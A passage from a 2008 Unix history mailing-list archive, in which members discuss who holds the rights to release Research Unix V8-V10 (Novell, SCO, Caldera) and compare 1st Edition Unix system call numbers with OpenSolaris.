Group does not own copyright of it, and because the APA the old SCO
and Novell entered prohibits such change of license without Novell's
permission.

It's not all clear cut, because the explicit reference to the
prohibition to modify the License only mentions SVRX, but it follows
quite clear that only the copyright owner, or those allowed to do so by
the copyright owner, can change the license of the material.

Therefore, only Novell can "open-source" V8 - V10, which is the point
being discussed here, and Caldera had no title to do it.

-- 
Pepe
pepe at naleco.com



From lm at bitmover.com  Thu May 22 10:54:41 2008
From: lm at bitmover.com (Larry McVoy)
Date: Wed, 21 May 2008 17:54:41 -0700
Subject: [TUHS] V8 - V10?
In-Reply-To: <20080522004536.GA26420@d600.naleco.com>
References: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>
	<20080521185239.GA22550@d600.naleco.com>
	<20080521193153.GP14184@mercury.ccil.org>
	<20080522004536.GA26420@d600.naleco.com>
Message-ID: <20080522005441.GA6333@bitmover.com>

> Therefore, only Novell can "open-source" V8 - V10, which is the point
> being discussed here, and Caldera had no title to do it.

Has anyone asked Novell?
-- 
---
Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com


From aek at bitsavers.org  Thu May 22 14:59:58 2008
From: aek at bitsavers.org (Al Kossow)
Date: Wed, 21 May 2008 21:59:58 -0700
Subject: [TUHS] V8 - V10?
In-Reply-To: <20080522005441.GA6333@bitmover.com>
References: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>	<20080521185239.GA22550@d600.naleco.com>	<20080521193153.GP14184@mercury.ccil.org>	<20080522004536.GA26420@d600.naleco.com>
	<20080522005441.GA6333@bitmover.com>
Message-ID: <4834FDCE.7040707@bitsavers.org>

Larry McVoy wrote:
>> Therefore, only Novell can "open-source" V8 - V10, which is the point
>> being discussed here, and Caldera had no title to do it.
> 
> Has anyone asked Novell?

I would be VERY interested in knowing their current feelings about this,
since I know of some other software encumbered by BSD-era Unix IP that
might become available if something could be worked out.





From arnold at skeeve.com  Thu May 22 15:05:54 2008
From: arnold at skeeve.com (Aharon Robbins)
Date: Thu, 22 May 2008 08:05:54 +0300
Subject: [TUHS] V8 - V10?
Message-ID: <200805220505.m4M55s6n004238@skeeve.com>

Yow. I didn't expect such a flurry of legalese when I asked the question.

> Date: Wed, 21 May 2008 17:54:41 -0700
> From: lm at bitmover.com (Larry McVoy)
> Subject: Re: [TUHS] V8 - V10?
> To: Pepe <pepe at naleco.com>
> Cc: tuhs at minnie.tuhs.org
>
> > Therefore, only Novell can "open-source" V8 - V10, which is the point
> > being discussed here, and Caldera had no title to do it.

I hadn't kept up, so this was an interesting surprise.  At least we know
more or less what's going on now.

> Has anyone asked Novell?

Indeed.  Do we even know who to ask there?

Thanks,

Arnold


From wkt at tuhs.org  Thu May 22 15:07:25 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 22 May 2008 15:07:25 +1000
Subject: [TUHS] V8 - V10?
In-Reply-To: <200805201858.m4KIwL2n004195@skeeve.com>
References: <200805201858.m4KIwL2n004195@skeeve.com>
Message-ID: <20080522050725.GA88989@minnie.tuhs.org>

On Tue, May 20, 2008 at 09:58:21PM +0300, Aharon Robbins wrote:
> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?

I'm surprised that Norman Wilson hasn't spoke up about these editions. Here
is a bit of an e-mail he sent w.r.t 10th Edition a while back:
---
The system included intellectual property with five types of ownership:
a.  Stuff that came out of 4.1a (approx) BSD.
b.  Borrowings from contemporary System V, often then
worked over further within 1127, but still identifiably theirs.
(make and pcc2 are clear examples.)
c.  1127 inventions that were adopted in some recognizable
form into System V.  (Aspects of the stream I/O system, for
example.)
d.  1127 inventions that were never adopted by anyone else.
(Much of the connection server.)
e.  Chunks of third-party software that we had under various
licenses, and stored in /usr/src/cmd because we put everything
there; some public-domain, some private.

The problems involve b c d e. ...
e doesn't really matter because none of that code
matters (and in fact I have thrown it all out).  Probably nobody
is worried about d because it's all a dead end anyway from
a commercial point of view; certainly the Ancient Systems
License terms are likely to work fine.  (This is actually Dennis's
opinion too.)  b and c are the real problem: the attachment to
System V is recent enough that it is not obvious that the
Ancient Systems License applies
---

Cheers,
	Warren


From wes.parish at paradise.net.nz  Thu May 22 19:09:28 2008
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Thu, 22 May 2008 21:09:28 +1200
Subject: [TUHS] V8 - V10?
In-Reply-To: <20080522005441.GA6333@bitmover.com>
References: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>
	<20080522004536.GA26420@d600.naleco.com>
	<20080522005441.GA6333@bitmover.com>
Message-ID: <200805222109.29204.wes.parish@paradise.net.nz>

FWIW, I have asked Novell to consider opening the Unix System V Release X 
source trees after this SCO Group farce is wound up and over, in order to 
stop it ever happening again.

I received a reply, but I've forgotten most of it.

Wesley Parish

On Thursday 22 May 2008 12:54, Larry McVoy wrote:
> > Therefore, only Novell can "open-source" V8 - V10, which is the point
> > being discussed here, and Caldera had no title to do it.
>
> Has anyone asked Novell?

-- 
Clinersterton beademung, with all of love - RIP James Blish
-----
Gaul is quartered into three halves.  Things which are 
impossible are equal to each other.  Guerrilla 
warfare means up to their monkey tricks. 
Extracts from "Schoolboy Howlers" - the collective wisdom 
of the foolish.
-----
Mau e ki, he aha te mea nui?
You ask, what is the most important thing?
Maku e ki, he tangata, he tangata, he tangata.
I reply, it is people, it is people, it is people.


From jrvalverde at acm.org  Fri May 23 02:10:33 2008
From: jrvalverde at acm.org (Jose R. Valverde)
Date: Thu, 22 May 2008 18:10:33 +0200
Subject: [TUHS] V8 - V10
Message-ID: <20080522181033.66c95137@punk.cnb.csic.es>

My take on this is multiple:

	If I remember well from IBM vs. SCO the agreements between IBM and alike
and AT&T stated that the code was to be kept confidential but that if a third 
party did release it, the licensees would no longer be bound by that restriction.

	Solaris has been open sourced and is heavily System V based. Novell 
argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
possible is probably void.

	Novell is now engaged against SCO. Once that is over, they'll have to
look at the Sun and MS agreements. My take on this is that they will renegotiate.
In the case of Sun there is no longer sense in asking for the code to be closed.
It's in the open now and has been for a long time. If I were Novell, I would
negotiate in a oblique direction: Solaris _may_ pose a competing threat to Novell
Linux business... arguably. Sun is interested in making Solaris GPL. If it were,
then Novell would have no standpoint against Sun as it would make no difference
then for them to use either Linux or Solaris, both being equally available and
third-party originated under the same license. Going after Solaris would give
them a very bad reputation among OSS followers. Thus, what would make more sense
would be to negotiate with Sun and ask for some more money in exchange for
dropping any charges and Solaris becoming GPL. Everybody wins and everybody is
happy.

	Should it go that way, and probably only afterward, Novell may consider
opening up System V under an OSS license, as most of it would have been rendered
obsolete by OSS Solaris. It would also increase Novell's reputation and clear
this mess forever. Hopefully by the time this happens (counting on SCO or their
successors to appeal the Utah decision), maybe 10 years from now, System V will
have become as irrelevant -commercially I mean- as e. g. UNIX v5 is now while
historical interest and value will have raised after several years of TUHS
applying moderate pressure ;-) It would also be the time to ask IBM to release
the code for AIX and DYNIX (which is already in the wild according to 
soothsayers), HP to open Tru64 (same and which they insist on phasing out),
etc...

	There remains the issue of the flow of SystemV licenses money to Novell
after and if it is open sourced... I don't know how much that is, nor how much
it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
is probably faulty.

	Oh, well, I woke up in a dreamy mood today! :-)

					j  

-- 
	These opinions are mine and only mine. Hey man, I saw them first!

			    José R. Valverde

	De nada sirve la Inteligencia Artificial cuando falta la Natural


From pepe at naleco.com  Sat May 24 00:05:28 2008
From: pepe at naleco.com (Pepe)
Date: Fri, 23 May 2008 16:05:28 +0200
Subject: [TUHS] V8 - V10?
In-Reply-To: <mailman.5.1211508001.31735.tuhs@minnie.tuhs.org>
References: <mailman.5.1211508001.31735.tuhs@minnie.tuhs.org>
Message-ID: <20080523140526.GA22206@d600.naleco.com>

> Date: Thu, 22 May 2008 18:10:33 +0200
> From: "Jose R. Valverde" <jrvalverde at acm.org>
> Subject: Re: [TUHS] V8 - V10
> 
> 	Solaris has been open sourced and is heavily System V based. Novell 
> argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
> possible is probably void.
> 
> [...]
> 	There remains the issue of the flow of SystemV licenses money to Novell
> after and if it is open sourced... I don't know how much that is, nor how much
> it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
> is probably faulty.

I concur with your opinion.

If Novell could not get paid from The SCO Group of the percentage (about
90%) they are entitled to of the SVRX License Payment SUN made to The SCO
Group, and of the SVRX License Payment Microsoft made to The SCO Group
(because, you know, The SCO Group has filled for bankruptcy), then they are
probably going to action on the basis of said Licenses being void, or at
least in being void the part of such Licenses that allows to Sub-license
the material changing the terms of the License, or changing the License
altogether. According to this hypothesis on the future, in case The SCO
Group cannot find the money to pay Novell, Novell will probably try to
renegotiate such Licenses directly with SUN and Microsoft. Microsoft
will probably just return the material instead of paying for it (as they
don't need it), but SUN is in a totally different position.

SUN has now OpenSolaris, which was made possible by that License they got
from The SCO Group. So SUN will renegotiate and pay Novell to legalize
the SVRX License they got from The SCO Group which allowed them to
"open-source" Solaris.

Only after Novell gets that payment(s), either from The SCO Group or
SUN, will they consider "open-sourcing" the historical SVRX and
classical UNIX code. Otherwise, they could hardly monetize on it, as
they currently have the opportunity to do.

Regards,

-- 
Pepe
pepe at naleco.com



From milov at uwlax.edu  Sat May 24 01:28:42 2008
From: milov at uwlax.edu (Milo Velimirovic)
Date: Fri, 23 May 2008 10:28:42 -0500
Subject: [TUHS] amusement
Message-ID: <A387B9D8-1747-43EB-BFC7-8E828F5154D6@uwlax.edu>

Seen in a .sig:

Unix is the answer, but only if you phrase the question very carefully.

--
Milo Velimirović
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA   43 48 48 N 91 13 53 W





From wkt at tuhs.org  Thu May 29 21:15:23 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 29 May 2008 21:15:23 +1000
Subject: [TUHS] 1st Edition UNIX syscalls
In-Reply-To: <20080518075820.GA75584@minnie.tuhs.org>
References: <20080518075820.GA75584@minnie.tuhs.org>
Message-ID: <20080529111523.GA63186@minnie.tuhs.org>

A while back I wrote about the system calls in 1st Edition UNIX. I was idly
wondering how much of 1st Ed (and prior) still existed in modern UNIXes.
Obviously, with the change of language from assembly to C, we won't be able
to find identical lines, but the enumeration of system calls, for example,
is one way to spot the lineage:

1st Edition   Open Solaris [1]
==============================
V1_RELE    0	indir
V1_EXIT    1	rexit
V1_FORK    2	forkall
V1_READ    3	read
V1_WRITE   4	write
V1_OPEN    5	open
V1_CLOSE   6	close
V1_WAIT    7	wait
V1_CREAT   8	creat
V1_LINK    9	link
V1_UNLINK  10	unlink
V1_EXEC    11	exec
V1_CHDIR   12	chdir
V1_TIME    13	gtime
V1_MKDIR   14	mknod
V1_CHMOD   15	chmod
V1_CHOWN   16	chown
V1_BREAK   17	brk
V1_STAT    18	stat
V1_SEEK    19	lseek32 or lseek64
V1_TELL    20	getpid
V1_MOUNT   21	mount
V1_UMOUNT  22	umount
V1_SETUID  23	setuid
V1_GETUID  24	getuid
V1_STIME   25	stime
V1_QUIT    26	pcsample
V1_INTR    27	alarm
V1_FSTAT   28	fstat
V1_CEMT    29	pause
V1_SMDATE  30	utime
V1_STTY    31	stty
V1_GTTY    32	gtty
V1_ILGINS  33	access

Quite a surprising similarity after nearly 4 decades.

Cheers,
	Warren

[1] http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/common/os/sysent.c


